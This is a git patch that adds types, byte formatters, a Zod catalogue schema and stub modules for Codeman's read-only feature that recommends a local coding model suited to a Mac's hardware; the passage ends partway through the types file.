From 73ce6a1819b50a086be3ea37375e6489d961a3ef Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 14:56:13 +0100 Subject: [PATCH 01/28] feat(local-model): types and module skeleton for the hardware-aware recommendation The contract three builders code against in parallel. Nothing is recommended yet: the route answers 501 and the catalogue is empty. - src/types/local-model.ts: HardwareFacts, the catalogue rows, HarnessFact, Candidate, Recommendation, LocalModelStatus, and LOCAL_MODEL_LABELS, the one list of sentences the server may put into the payload (the zh-CN dictionary is keyed by them). - src/local-model/format.ts: formatGb, the one place a byte count becomes a size a person reads (decimal GB), and memClassGb. - src/config/local-model-catalog.ts: the Zod schema (model ids are name:tag, lowercase, no slash) and an empty stock catalogue. No override file. - Skeletons with their final signatures: hardware.ts, recommend.ts, harness-facts.ts, routes/local-model-routes.ts (injectable dependencies), public/local-model-ui.js with its script tag. Co-Authored-By: Claude Fable 5.1 --- src/config/local-model-catalog.ts | 122 +++++++++ src/local-model/format.ts | 42 ++++ src/local-model/hardware.ts | 106 ++++++++ src/local-model/harness-facts.ts | 30 +++ src/local-model/recommend.ts | 68 +++++ src/types/index.ts | 2 + src/types/local-model.ts | 357 +++++++++++++++++++++++++++ src/web/public/index.html | 1 + src/web/public/local-model-ui.js | 33 +++ src/web/routes/index.ts | 1 + src/web/routes/local-model-routes.ts | 60 +++++ src/web/server.ts | 2 + 12 files changed, 824 insertions(+) create mode 100644 src/config/local-model-catalog.ts create mode 100644 src/local-model/format.ts create mode 100644 src/local-model/hardware.ts create mode 100644 src/local-model/harness-facts.ts create mode 100644 src/local-model/recommend.ts create mode 100644 src/types/local-model.ts create mode 100644 src/web/public/local-model-ui.js create mode 100644 src/web/routes/local-model-routes.ts diff --git a/src/config/local-model-catalog.ts b/src/config/local-model-catalog.ts new file mode 100644 index 00000000..661ebd8b --- /dev/null +++ b/src/config/local-model-catalog.ts @@ -0,0 +1,122 @@ +/** + * @fileoverview The local model catalogue: which models, harnesses and chips the recommendation + * knows, as a compiled constant validated by a Zod schema. + * + * SKELETON: the schema below is the shape of the contract (it mirrors `LocalModelCatalog` in + * src/types/local-model.ts) and the stock constant is EMPTY. Still to come here: + * - the model rows (ids and byte sizes from the registry manifests, `paramsB`, an empty + * `tested` array each; `flint:40b` stays out), the harness rows and the chips table; + * - the cross-row rules the schema cannot say field by field: unique model ids, unique harness + * `cli`s, `contexts` largest first, `chips` most specific first, `promptCacheTiers` ascending + * and starting at 0; + * - `getLocalModelCatalog()` parsing the constant once, on first use, never at import. + * + * Rules that hold from the start: + * - There is NO override file and no runtime download data in this stage: nothing here reads + * the data dir, and a data file can never decide what gets recommended. + * - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can + * only ever name a model of the default registry and namespace. + * - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI + * registry id as data: no code may compare it with a literal. Whether that CLI exists and can + * take a custom model is checked against the registry at call time, in + * src/local-model/harness-facts.ts, never here. + */ + +import { z } from 'zod'; +import type { LocalModelCatalog } from '../types.js'; + +/** A model id: lowercase name, one colon, a tag. No slash, so no registry host or namespace can ride along. */ +export const LOCAL_MODEL_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/; + +const isoDate = z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'must be an ISO date (YYYY-MM-DD)'); +const positiveInt = z.number().int().positive(); + +const TestedOnSchema = z + .object({ + chip: z.string().min(1).max(80), + memGb: positiveInt, + cli: z.string().min(1).max(24), + date: isoDate, + }) + .strict(); + +const LocalModelEntrySchema = z + .object({ + id: z.string().max(100).regex(LOCAL_MODEL_ID_PATTERN, 'must be name:tag in lowercase, without a slash'), + label: z.string().min(1).max(80), + license: z.string().min(1).max(40), + paramsB: z.number().positive(), + bytes: positiveInt, + kvBytesPerToken: positiveInt, + contexts: z.array(positiveInt).min(1), + rank: z.number().int(), + speedPer100Gbps: z.number().positive().optional(), + tested: z.array(TestedOnSchema), + }) + .strict(); + +const LocalHarnessEntrySchema = z + .object({ + cli: z.string().min(1).max(24), + minContext: positiveInt, + rank: z.number().int(), + gated: z.boolean().optional(), + slowFirstTurn: z.boolean().optional(), + }) + .strict(); + +const ChipEntrySchema = z + .object({ + match: z.string().min(1).max(40), + gbps: z.number().positive(), + }) + .strict(); + +const PromptCacheTierSchema = z + .object({ + minMemGb: z.number().int().nonnegative(), + bytes: z.number().int().nonnegative(), + }) + .strict(); + +/** Validates a whole catalogue. Typed against `LocalModelCatalog`, so the two cannot drift apart. */ +export const LocalModelCatalogSchema: z.ZodType = z + .object({ + schema: z.literal(1), + updated: isoDate, + minMacosMajor: positiveInt, + promptCacheTiers: z.array(PromptCacheTierSchema).min(1), + models: z.array(LocalModelEntrySchema), + harnesses: z.array(LocalHarnessEntrySchema), + chips: z.array(ChipEntrySchema), + }) + .strict(); + +/** + * The catalogue that ships with Codeman. EMPTY for now (no model, harness or chip rows), but + * valid: with it `recommend()` can only answer verdict `none`. + * + * The two constants that are already decided are filled in: macOS 14 is the oldest version the + * runtime supports, and the prompt cache is 512 MiB on a Mac below 32 GB and 2 GiB from 32 GB. + */ +export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { + schema: 1, + updated: '2026-11-06', + minMacosMajor: 14, + promptCacheTiers: [ + { minMemGb: 0, bytes: 512 * 1024 ** 2 }, + { minMemGb: 32, bytes: 2 * 1024 ** 3 }, + ], + models: [], + harnesses: [], + chips: [], +}; + +/** + * The catalogue in force. There is no override in this stage, so this is the stock constant; + * callers go through this function anyway, so a later stage can change where it comes from + * without touching them. + */ +export function getLocalModelCatalog(): LocalModelCatalog { + return STOCK_LOCAL_MODEL_CATALOG; +} diff --git a/src/local-model/format.ts b/src/local-model/format.ts new file mode 100644 index 00000000..cc9aa974 --- /dev/null +++ b/src/local-model/format.ts @@ -0,0 +1,42 @@ +/** + * @fileoverview The formatters of the local model recommendation, and its byte units. + * + * `formatGb()` is the ONE place a byte count becomes a size a person reads: decimal GB (the + * unit the Finder and the model registry use). `hardware.ts` and `recommend.ts` call it to fill + * the `...Gb` text fields of the payload (`memGb`, `freeDiskGb`, `needGb`, `downloadGb`, + * `budgetGb`, and the size slots of a `LocalModelMessage`). Nothing else may turn bytes into a + * size for display, the browser included: it prints the text it was sent. + * + * GiB and MiB exist only for the budget math (reserves, the wired limit, the prompt cache) and + * never reach a person. + * + * Pure: no IO, no state. + */ + +/** One decimal gigabyte, the unit a person reads. */ +export const GB = 1_000_000_000; +/** One binary gigabyte. Budget math only. */ +export const GIB = 1024 ** 3; +/** One binary megabyte. Budget math only. */ +export const MIB = 1024 ** 2; + +/** + * A byte count as decimal GB text, WITHOUT the unit: one decimal below 100 ('6.6', '17.7', + * '25.5'), a whole number from 100 ('212'). The caller's sentence supplies ' GB'. + * Anything that is not a positive finite number reads '0.0'. + */ +export function formatGb(bytes: number): string { + if (!Number.isFinite(bytes) || bytes <= 0) return '0.0'; + const tenths = Math.round((bytes / GB) * 10) / 10; + return tenths >= 100 ? String(Math.round(bytes / GB)) : tenths.toFixed(1); +} + +/** + * The memory size a Mac is sold as: whole binary gigabytes (17179869184 bytes is 16). This is + * `HardwareFacts.memClassGb`: the key of the tier rules ("below 36 GB") and of `TestedOn.memGb`. + * It names a class of Mac. A size for display is `formatGb()`. + */ +export function memClassGb(memBytes: number): number { + if (!Number.isFinite(memBytes) || memBytes <= 0) return 0; + return Math.round(memBytes / GIB); +} diff --git a/src/local-model/hardware.ts b/src/local-model/hardware.ts new file mode 100644 index 00000000..687d981a --- /dev/null +++ b/src/local-model/hardware.ts @@ -0,0 +1,106 @@ +/** + * @fileoverview The hardware probe of the local model recommendation: what this Mac is. + * + * SKELETON: the exported signatures are final, the bodies are not written yet. This module + * will hold: + * - `parseSysctl()`: a pure parser of `key: value` lines. The command runs WITHOUT `-n`, so a + * key that is missing on a machine (`sysctl.proc_translated` on Intel) cannot shift the + * others, and a line it does not know is ignored. + * - `readHardware()`: ONE bounded async spawn of `SYSCTL_PATH` with `SYSCTL_KEYS`, the free disk + * of the data dir through `fs.promises.statfs`, fallbacks from `node:os` when the spawn + * fails, and a 60 s cache. + * + * Rules: + * - Never throws and never rejects: a failed probe is an answer (`source: 'os-fallback'`), and + * off macOS nothing is spawned (`source: 'not-probed'`). + * - Never `system_profiler` (tens of milliseconds and a parse of free text), never a second + * spawn, never a synchronous exec on the server's event loop. + * - A non-zero exit is tolerated once `hw.memsize` parsed (a missing key makes sysctl exit 1). + * - `iogpu.wired_limit_mb` of 0 means "not set": it is reported as 0 and only a value above 0 + * is ever used as a limit. + * - `memGb`, `memClassGb` and `freeDiskGb` are filled here through src/local-model/format.ts, + * the one place a size is formatted. + */ + +import type { HardwareFacts } from '../types.js'; + +/** Absolute path, so the server's PATH (minimal under a service manager) cannot change what runs. */ +export const SYSCTL_PATH = '/usr/sbin/sysctl'; + +/** The keys of the one spawn, in the order they are passed. */ +export const SYSCTL_KEYS = [ + 'hw.memsize', + 'machdep.cpu.brand_string', + 'hw.optional.arm64', + 'sysctl.proc_translated', + 'iogpu.wired_limit_mb', + 'kern.osproductversion', + 'hw.model', +] as const; + +/** Upper bound of the spawn (it answers in about 2 ms on a real Mac). */ +export const SYSCTL_TIMEOUT_MS = 2000; + +/** How long one probe result is reused. */ +export const HARDWARE_CACHE_TTL_MS = 60_000; + +/** What `parseSysctl()` read. Every field is absent when its key was missing or its value did not parse. */ +export interface SysctlFacts { + /** `hw.memsize`. */ + memBytes?: number; + /** `machdep.cpu.brand_string`. */ + chip?: string; + /** `hw.optional.arm64` is 1. */ + arm64?: boolean; + /** `sysctl.proc_translated` is 1. */ + translated?: boolean; + /** `iogpu.wired_limit_mb`, as reported (0 stays 0). */ + wiredLimitMb?: number; + /** `kern.osproductversion`. */ + macosVersion?: string; + /** The leading number of `macosVersion`. */ + macosMajor?: number; + /** `hw.model`. */ + model?: string; +} + +/** The IO of `readHardware()`, injectable so a test spawns nothing and reads no real disk. Each member defaults to the real thing. */ +export interface HardwareProbeDeps { + /** Default `process.platform`. */ + platform?: string; + /** Default `os.arch()`. */ + arch?: string; + /** Runs the one spawn. Resolves its stdout, also after a non-zero exit, or `undefined` when it could not run or timed out. Never rejects. */ + runSysctl?: () => Promise; + /** Free bytes on the data dir's filesystem, or `undefined` when unknown. Never rejects. */ + freeDiskBytes?: () => Promise; + /** Default `os.totalmem()`. */ + totalMemBytes?: () => number; + /** Default `os.cpus()[0]?.model`. */ + cpuModel?: () => string | undefined; + /** Default `Date.now`. The clock of the cache. */ + now?: () => number; +} + +/** + * Parse the output of `sysctl ` (no `-n`): one `key: value` line per key it knows. + * Pure. Unknown lines, blank lines and error lines are skipped. + */ +export function parseSysctl(text: string): SysctlFacts { + void text; + throw new Error('not implemented: parseSysctl'); +} + +/** + * What this machine is. Cached for `HARDWARE_CACHE_TTL_MS`; concurrent callers share one probe. + * Never rejects. + */ +export async function readHardware(deps?: HardwareProbeDeps): Promise { + void deps; + throw new Error('not implemented: readHardware'); +} + +/** Drop the cached probe result (tests, and nothing else). */ +export function resetHardwareCache(): void { + throw new Error('not implemented: resetHardwareCache'); +} diff --git a/src/local-model/harness-facts.ts b/src/local-model/harness-facts.ts new file mode 100644 index 00000000..7a27d130 --- /dev/null +++ b/src/local-model/harness-facts.ts @@ -0,0 +1,30 @@ +/** + * @fileoverview What the server knows about each catalogue harness on this machine, for the + * local model recommendation. Server side: this is the one module of src/local-model/ that + * reads the CLI registry, so `recommend()` can stay pure and name no CLI. + * + * SKELETON: the exported signature is final, the body is not written yet. `buildHarnessFacts()` + * will, for every `LocalHarnessEntry` of the catalogue: + * - resolve its `cli` in the CLI registry AT CALL TIME (never in a module-level constant), and + * leave out a row whose CLI is unknown, disabled, or has no custom model mechanism + * (`capabilities.customModelInjection.kind` is `unsupported`); + * - report `label` from the registry entry and `installed` from the same probe the other + * routes use; + * - report `installable` only for a CLI that is not installed and whose install command for + * this platform needs no administrator rights (not one that starts with `brew` or `sudo`); + * - supply `acceptsModelId`, the same test a custom model launch applies to the model id + * before anything is written (the launch spec's model pattern). + * + * Rules: + * - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue row + * and everything else from the registry entry it resolves to. + * - Read-only: nothing is installed, written or spawned beyond the existing availability probe. + */ + +import type { HarnessFact, LocalModelCatalog } from '../types.js'; + +/** One fact per catalogue harness that resolves in the CLI registry, in catalogue order. */ +export async function buildHarnessFacts(catalog: LocalModelCatalog): Promise { + void catalog; + throw new Error('not implemented: buildHarnessFacts'); +} diff --git a/src/local-model/recommend.ts b/src/local-model/recommend.ts new file mode 100644 index 00000000..2536e63c --- /dev/null +++ b/src/local-model/recommend.ts @@ -0,0 +1,68 @@ +/** + * @fileoverview The recommendation itself: which model, at which context, with which harness + * fits this Mac. Pure: no IO, no clock, no CLI registry, no data dir. + * + * SKELETON: the exported signatures are final, the bodies are not written yet. This module + * will hold: + * - `deviceBudget()`: L is the wired limit when it is above 0, else 2/3 of memory below 36 GB + * and 3/4 from 36 GB. B = min(L - 1 GiB, memory - reserve), with a reserve of 6 GiB up to + * 18 GB, 8 GiB up to 48 GB and 12 GiB from 64 GB. + * - `needBytes()`: F = weights + kvBytesPerToken * ctx + 1 GiB + the prompt cache tier of the + * catalogue for this Mac's memory. + * - `recommend()`: the candidates (model, context, harness) with `ctx >= harness.minContext`, + * the harness installed or installable, accepting the model id and not gated; the fit (F/B up + * to 0.85 good, up to 0.98 tight, above out); the speed (ok, slow or unknown: a chip that is + * in no chips row is unknown, a bandwidth is never guessed); the ranking (good before tight, + * then ok before unknown before slow, then model rank, harness rank, larger context); and the + * verdict. + * + * Rules: + * - Verdict `limited` when the best candidate's model has fewer than 12 billion parameters. + * - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for a pick whose model + * has a `tested` entry matching this Mac. Otherwise `headlineOk` plus `noteUntested`. + * - Reasons for `none`: not-macos, intel, memory, disk (free disk minus the download is below + * 10 GiB for every fitting model), macos, no-harness. + * - Every label in the result comes from `LOCAL_MODEL_LABELS`, every size text from + * `formatGb()`. No number is spliced into a sentence here. + * - No CLI id is ever compared with a literal: a harness is a catalogue row plus a + * `HarnessFact`. + */ + +import type { + DeviceBudget, + HardwareFacts, + HarnessFact, + LocalModelCatalog, + LocalModelEntry, + Recommendation, +} from '../types.js'; + +/** The memory a model may use on this Mac: the device limit L, the budget B and where L came from. */ +export function deviceBudget(hw: HardwareFacts): DeviceBudget { + void hw; + throw new Error('not implemented: deviceBudget'); +} + +/** F: the bytes `model` needs in memory at a context of `ctx` tokens on this Mac. */ +export function needBytes(model: LocalModelEntry, ctx: number, catalog: LocalModelCatalog, hw: HardwareFacts): number { + void model; + void ctx; + void catalog; + void hw; + throw new Error('not implemented: needBytes'); +} + +/** + * The recommendation for this Mac. `harnessFacts` holds one fact per catalogue harness the + * caller could resolve; a catalogue harness without a fact is not offered. + */ +export function recommend( + hw: HardwareFacts, + catalog: LocalModelCatalog, + harnessFacts: readonly HarnessFact[] +): Recommendation { + void hw; + void catalog; + void harnessFacts; + throw new Error('not implemented: recommend'); +} diff --git a/src/types/index.ts b/src/types/index.ts index 4b74da44..592b28e2 100644 --- a/src/types/index.ts +++ b/src/types/index.ts @@ -29,6 +29,7 @@ * | plan | PlanItem, PlanTaskStatus, TddPhase | In-memory → `GET /api/sessions/:id/plan/tasks` | * | orchestrator | OrchestratorState, OrchestratorPlan, OrchestratorConfig, OrchestratorPersistState | `~/.codeman/state.json` → `GET /api/orchestrator/status` | * | mcp-sync | McpSyncResult, McpSyncTargetResult | Other CLIs' own config files → `GET`/`POST /api/mcp-sync` | + * | local-model | HardwareFacts, LocalModelCatalog, Candidate, Recommendation, LocalModelStatus, LOCAL_MODEL_LABELS | In-memory only (nothing persisted) → `GET /api/local-model` | * * ## Cross-domain relationship map * @@ -77,3 +78,4 @@ export * from './webview.js'; export * from './intent.js'; export * from './foreign-tmux.js'; export * from './mcp-sync.js'; +export * from './local-model.js'; diff --git a/src/types/local-model.ts b/src/types/local-model.ts new file mode 100644 index 00000000..5298c3bb --- /dev/null +++ b/src/types/local-model.ts @@ -0,0 +1,357 @@ +/** + * @fileoverview Types of the hardware-aware local model recommendation: what the server sees of + * this Mac, the catalogue of models and harnesses, and the answer of `GET /api/local-model`. + * + * This stage is read-only: Codeman looks at the Mac and recommends. It downloads nothing, + * installs nothing and writes no file. + * + * Who produces what: + * - `HardwareFacts`: src/local-model/hardware.ts (one bounded `sysctl` spawn, never throws). + * - `LocalModelCatalog` and its rows: src/config/local-model-catalog.ts (a compiled constant). + * - `HarnessFact`: src/local-model/harness-facts.ts (server only, read from the CLI registry at + * call time; it holds a function, so it never goes over HTTP). + * - `Recommendation`, `Candidate`, `DeviceBudget`: src/local-model/recommend.ts (pure). + * - `LocalModelStatus`: src/web/routes/local-model-routes.ts (the `data` of the GET). + * + * Three rules every producer and consumer follows: + * + * 1. ONE unit for a size a person reads: decimal GB, computed from bytes by `formatGb()` in + * src/local-model/format.ts. Every such size travels twice, as bytes (`needBytes`) and as the + * text to show (`needGb`, a number without the unit, such as '25.5'). The browser prints the + * text and never divides bytes itself. GiB appears only inside the budget math. + * 2. Every sentence or label the SERVER chooses comes from `LOCAL_MODEL_LABELS` below, so the + * browser can translate it (`codemanT(text, vars)`) and its i18n test can list every string. + * Numbers are never spliced into a sentence here: they travel in `vars` and fill the + * `{placeholder}` slots. + * 3. A CLI id is DATA (`LocalHarnessEntry.cli`, `Candidate.cli`). No code compares one with a + * literal: what differs between harnesses is a catalogue field or a `HarnessFact`. + */ + +// ---------- Hardware ---------- + +/** + * How `HardwareFacts` was obtained. + * - `sysctl`: the spawn answered and `hw.memsize` parsed. + * - `os-fallback`: on macOS, but the spawn failed or timed out; memory, architecture and the chip + * string come from `node:os`, the rest is absent. + * - `not-probed`: not macOS, so `sysctl` was never spawned. + */ +export type HardwareProbeSource = 'sysctl' | 'os-fallback' | 'not-probed'; + +/** + * What the server knows about the machine it runs on. Plain JSON (it is part of the GET payload), + * and always an answer: a failed probe yields the `os-fallback` or `not-probed` shape, never an + * exception. + */ +export interface HardwareFacts { + /** `process.platform` of the server. Anything but `darwin` ends in verdict `none`, reason `not-macos`. */ + platform: string; + /** `os.arch()` of the server process. `x64` on Apple silicon means Node runs under Rosetta. */ + arch: string; + /** `hw.optional.arm64` is 1: the MACHINE is Apple silicon whatever `arch` says. Absent when the key was not read. */ + arm64?: boolean; + /** `sysctl.proc_translated` is 1: this process runs under Rosetta. Absent when the key was not read (Intel Macs lack it). */ + translated?: boolean; + /** Installed memory in bytes (`hw.memsize`, else `os.totalmem()`). The ONLY memory input of the budget math. */ + memBytes: number; + /** `memBytes` as a person reads it: decimal GB from `formatGb()`, without the unit ('17.2' for a Mac sold as 16 GB). */ + memGb: string; + /** The memory size the Mac is sold as: whole binary gigabytes (16, 32, 48). Tier rules and `TestedOn.memGb` use it. */ + memClassGb: number; + /** `machdep.cpu.brand_string` ('Apple M4 Pro'), else `os.cpus()[0].model`. */ + chip?: string; + /** `hw.model` ('Mac16,10'). */ + model?: string; + /** `kern.osproductversion` ('27.2'). */ + macosVersion?: string; + /** The leading number of `macosVersion` (27). */ + macosMajor?: number; + /** `iogpu.wired_limit_mb` exactly as reported. 0 means "not set" (both test Macs report 0); only a value above 0 is a limit. */ + wiredLimitMb?: number; + /** Free bytes on the filesystem of Codeman's data dir (`statfs`: `bavail * bsize`). */ + freeDiskBytes?: number; + /** `freeDiskBytes` as a person reads it (decimal GB, no unit). Present exactly when `freeDiskBytes` is. */ + freeDiskGb?: string; + source: HardwareProbeSource; +} + +// ---------- Catalogue ---------- + +/** One Mac a model and harness pair was really run on by us. A model row with a matching entry may be called "Recommended". */ +export interface TestedOn { + /** The chip, as `machdep.cpu.brand_string` reports it ('Apple M4'). */ + chip: string; + /** The Mac's memory as it is sold (`HardwareFacts.memClassGb`: 16, 32, 48). */ + memGb: number; + /** The harness it was tested with: a CLI registry id, as data. */ + cli: string; + /** ISO date of the test ('2026-11-06'). */ + date: string; +} + +/** One model of the catalogue. */ +export interface LocalModelEntry { + /** `name:tag` exactly as the model registry lists it. Lowercase, one colon, no slash (`LOCAL_MODEL_ID_PATTERN`). */ + id: string; + /** The name a person reads ('Qwen3.8 27B'). */ + label: string; + /** SPDX id of the license ('Apache-2.0'). */ + license: string; + /** Parameter count in billions. Under 12 the verdict is `limited`, never `ok`. */ + paramsB: number; + /** Size of the weights in bytes: both the download and what they take in memory. */ + bytes: number; + /** Bytes of KV cache one token of context costs. */ + kvBytesPerToken: number; + /** Context lengths (tokens) the model may be run at, largest first. */ + contexts: number[]; + /** Preference among models that fit: the HIGHER rank wins. A judgement, not a measurement. */ + rank: number; + /** Measured tokens per second per 100 GB/s of memory bandwidth. Absent: the speed of this model is unknown. */ + speedPer100Gbps?: number; + /** Macs this model was really run on. Empty today for every row. */ + tested: TestedOn[]; +} + +/** One harness (coding agent CLI) that can be connected to a local model. All of it is data. */ +export interface LocalHarnessEntry { + /** A CLI registry id. Data only: never compared with a literal anywhere. */ + cli: string; + /** The smallest context (tokens) at which this harness works. */ + minContext: number; + /** Preference among harnesses: the HIGHER rank wins. */ + rank: number; + /** True: listed in the catalogue but never offered yet (its use with a local model is unverified). */ + gated?: boolean; + /** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */ + slowFirstTurn?: boolean; +} + +/** + * Memory bandwidth of one chip family. `LocalModelCatalog.chips` is ordered most specific first + * ('M4 Max' before 'M4') and the first row whose `match` occurs in `HardwareFacts.chip` wins. A + * chip that matches no row has an UNKNOWN speed: a bandwidth is never guessed. + */ +export interface ChipEntry { + /** Text that must occur in the chip string ('M4 Max'). */ + match: string; + /** Memory bandwidth in GB/s. */ + gbps: number; +} + +/** + * Host memory the runtime's prompt cache takes, by the size of the Mac. Tiers are ordered by + * `minMemGb` ascending and the last tier with `minMemGb <= HardwareFacts.memClassGb` applies. + */ +export interface PromptCacheTier { + /** Smallest memory size (as sold, binary gigabytes) this tier applies to. The first tier has 0. */ + minMemGb: number; + bytes: number; +} + +/** The catalogue: a compiled constant, validated by `LocalModelCatalogSchema`. No override file, no download data. */ +export interface LocalModelCatalog { + schema: 1; + /** ISO date the rows were last checked ('2026-11-06'). Reported as `LocalModelStatus.catalogUpdated`. */ + updated: string; + /** Oldest macOS major version a local model runs on. Below it: verdict `none`, reason `macos`. */ + minMacosMajor: number; + promptCacheTiers: PromptCacheTier[]; + models: LocalModelEntry[]; + harnesses: LocalHarnessEntry[]; + chips: ChipEntry[]; +} + +// ---------- Harness facts (server only) ---------- + +/** + * What the server knows about one catalogue harness on this machine. Built from the CLI registry + * at call time, so `recommend()` names no CLI. NOT serializable (it holds a function): it never + * leaves the server. `Candidate` carries the parts a browser needs. + */ +export interface HarnessFact { + /** The CLI registry id. */ + cli: string; + /** The registry's display label ('OpenCode'). */ + label: string; + /** The CLI's binary was found on this machine. */ + installed: boolean; + /** Not installed, but the registry has an install command for this platform that needs no administrator rights. */ + installable: boolean; + /** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */ + acceptsModelId: (modelId: string) => boolean; +} + +// ---------- Recommendation ---------- + +/** Need over budget: up to 0.85 is `good`, up to 0.98 is `tight`, above is `out`. */ +export type FitGrade = 'good' | 'tight' | 'out'; + +/** + * Expected generation speed. `unknown` when the chip is in no `ChipEntry` or the model has no + * `speedPer100Gbps`. In the ranking `unknown` sits between `ok` and `slow`. + */ +export type SpeedGrade = 'ok' | 'slow' | 'unknown'; + +/** + * Why the verdict is `none`. + * - `not-macos`: the server does not run on macOS (the card is hidden). + * - `intel`: a Mac without Apple silicon. + * - `memory`: no model fits the memory budget with any harness. + * - `disk`: models fit the memory, but for every one of them free disk minus the download is below 10 GiB. + * - `macos`: macOS is older than `LocalModelCatalog.minMacosMajor`. + * - `no-harness`: no catalogue harness is installed or installable and accepts a model. + */ +export type NoneReason = 'not-macos' | 'intel' | 'memory' | 'disk' | 'macos' | 'no-harness'; + +/** Where the device budget came from: a formula (`estimated`) or `iogpu.wired_limit_mb` above 0 (`wired-limit`). */ +export type BudgetSource = 'estimated' | 'wired-limit'; + +/** The memory a model may use on this Mac. */ +export interface DeviceBudget { + /** L: the wired limit when above 0, else 2/3 of memory below 36 GB and 3/4 from 36 GB. */ + limitBytes: number; + /** B = min(L - 1 GiB, memory - reserve). What `Candidate.budgetShare` is measured against. */ + budgetBytes: number; + source: BudgetSource; +} + +/** + * Every sentence and label the server may put into the payload, in English (the i18n source + * language). Frozen for the parallel build: the zh-CN dictionary in src/web/public/i18n.js has + * one entry per value, keyed by this exact text, and the browser's i18n test imports this + * constant to list them. Adding a key is fine; changing a text means changing its zh-CN key too. + * + * `{placeholder}` slots are filled by the browser from `LocalModelMessage.vars`. `{name}` is + * taken (the translator fills it with the display name), so no slot here is called `name`. + * + * | Key | Slots (all text; sizes are decimal GB without the unit) | + * |---------------|---------------------------------------------------------------------------------| + * | `noneMemory` | `memory`: `HardwareFacts.memGb` | + * | `noneDisk` | `download`: smallest download among the models that fit the memory; `free`: | + * | | `HardwareFacts.freeDiskGb`; `missing`: download + 10 GiB - free | + * | `noneMacos` | `version`: `HardwareFacts.macosVersion`; `minimum`: the catalogue's minimum | + * + * The word "Recommended" exists only in `headlineTested`, which may be used only when the + * pick's `tested` is true. No catalogue row has a tested entry today, so it is never sent. + */ +export const LOCAL_MODEL_LABELS = { + /** Verdict `ok`, pick not tested by us on a Mac like this one. */ + headlineOk: 'Best fit for this Mac', + /** Verdict `ok`, pick tested by us on a Mac like this one. */ + headlineTested: 'Recommended for this Mac', + /** Verdict `limited`. */ + headlineLimited: + 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', + /** A note under an `ok` or `limited` pick whose `tested` is false. */ + noteUntested: 'Not yet tested by us on a Mac like this.', + fitGood: 'Good', + fitTight: 'Tight', + speedSlow: 'Slow', + speedUnknown: 'Speed unknown', + noneNotMacos: 'Codeman recommends a local model only on a Mac with Apple silicon.', + noneIntel: 'This Mac has an Intel processor. Local coding models need Apple silicon.', + noneMemory: + 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + noneDisk: + 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download and {free} GB is free. Free up about {missing} GB.', + noneMacos: 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.', + noneNoHarness: 'No coding agent that Codeman can connect to a local model is available on this Mac.', +} as const; + +/** One of the texts in `LOCAL_MODEL_LABELS`. The payload's label fields are typed with it, so an off-list string does not compile. */ +export type LocalModelLabel = (typeof LOCAL_MODEL_LABELS)[keyof typeof LOCAL_MODEL_LABELS]; + +/** The headline of each `none` reason. */ +export const LOCAL_MODEL_NONE_LABELS: Record = { + 'not-macos': LOCAL_MODEL_LABELS.noneNotMacos, + intel: LOCAL_MODEL_LABELS.noneIntel, + memory: LOCAL_MODEL_LABELS.noneMemory, + disk: LOCAL_MODEL_LABELS.noneDisk, + macos: LOCAL_MODEL_LABELS.noneMacos, + 'no-harness': LOCAL_MODEL_LABELS.noneNoHarness, +}; + +/** A sentence for the card: a text from `LOCAL_MODEL_LABELS` plus the values of its `{placeholder}` slots. */ +export interface LocalModelMessage { + text: LocalModelLabel; + /** Slot values, already formatted as text. Absent when the text has no slot. */ + vars?: Record; +} + +/** One model at one context with one harness, measured against this Mac. Plain JSON. */ +export interface Candidate { + /** `LocalModelEntry.id`. */ + modelId: string; + /** `LocalModelEntry.label`. */ + modelLabel: string; + license: string; + paramsB: number; + /** Context length in tokens. */ + context: number; + /** The harness: a CLI registry id, as data. */ + cli: string; + /** The harness's display label, from the CLI registry. */ + cliLabel: string; + /** False: the harness is not on this machine yet (it is installable, or it would not be a candidate). */ + cliInstalled: boolean; + /** The harness row's `slowFirstTurn`. */ + slowFirstTurn?: boolean; + /** F = weights + kvBytesPerToken * context + 1 GiB + prompt cache. */ + needBytes: number; + /** `needBytes` as decimal GB text, no unit. */ + needGb: string; + /** The model download in bytes (`LocalModelEntry.bytes`). */ + downloadBytes: number; + /** `downloadBytes` as decimal GB text, no unit. */ + downloadGb: string; + /** `needBytes / Recommendation.budgetBytes` (0.83). */ + budgetShare: number; + /** A candidate in a `Recommendation` is never `out`. */ + fit: Exclude; + /** `fitGood` or `fitTight`. */ + fitLabel: LocalModelLabel; + speed: SpeedGrade; + /** `speedSlow` or `speedUnknown`. Absent when `speed` is `ok`. */ + speedLabel?: LocalModelLabel; + /** Estimated generation speed. Present exactly when `speed` is not `unknown`. */ + tokensPerSecond?: number; + /** A `TestedOn` entry of the model matches this Mac (same chip, same `memClassGb`) and this harness. */ + tested: boolean; +} + +/** + * The answer of `recommend()`. + * - `ok`: `pick` is the best candidate and its model has at least 12 billion parameters. + * - `limited`: `pick` is the best candidate, but its model has fewer than 12 billion parameters. + * The card says so and never says "Recommended". + * - `none`: no pick; `reason` says why. + */ +export interface Recommendation { + verdict: 'ok' | 'limited' | 'none'; + /** Present exactly when `verdict` is `none`. */ + reason?: NoneReason; + /** What the card says first: `headlineOk`, `headlineTested`, `headlineLimited` or the `none` reason's sentence. */ + headline: LocalModelMessage; + /** Further sentences under the headline (`noteUntested` today). May be empty. */ + notes: LocalModelMessage[]; + /** Present exactly when `verdict` is `ok` or `limited`. */ + pick?: Candidate; + /** The next models that fit (at most four, each at its best context and harness), best first. Empty when `verdict` is `none`. */ + alternatives: Candidate[]; + /** `DeviceBudget.budgetBytes`. 0 when the budget could not be computed (not macOS). */ + budgetBytes: number; + /** `budgetBytes` as decimal GB text, no unit. */ + budgetGb: string; + budgetSource: BudgetSource; +} + +// ---------- API 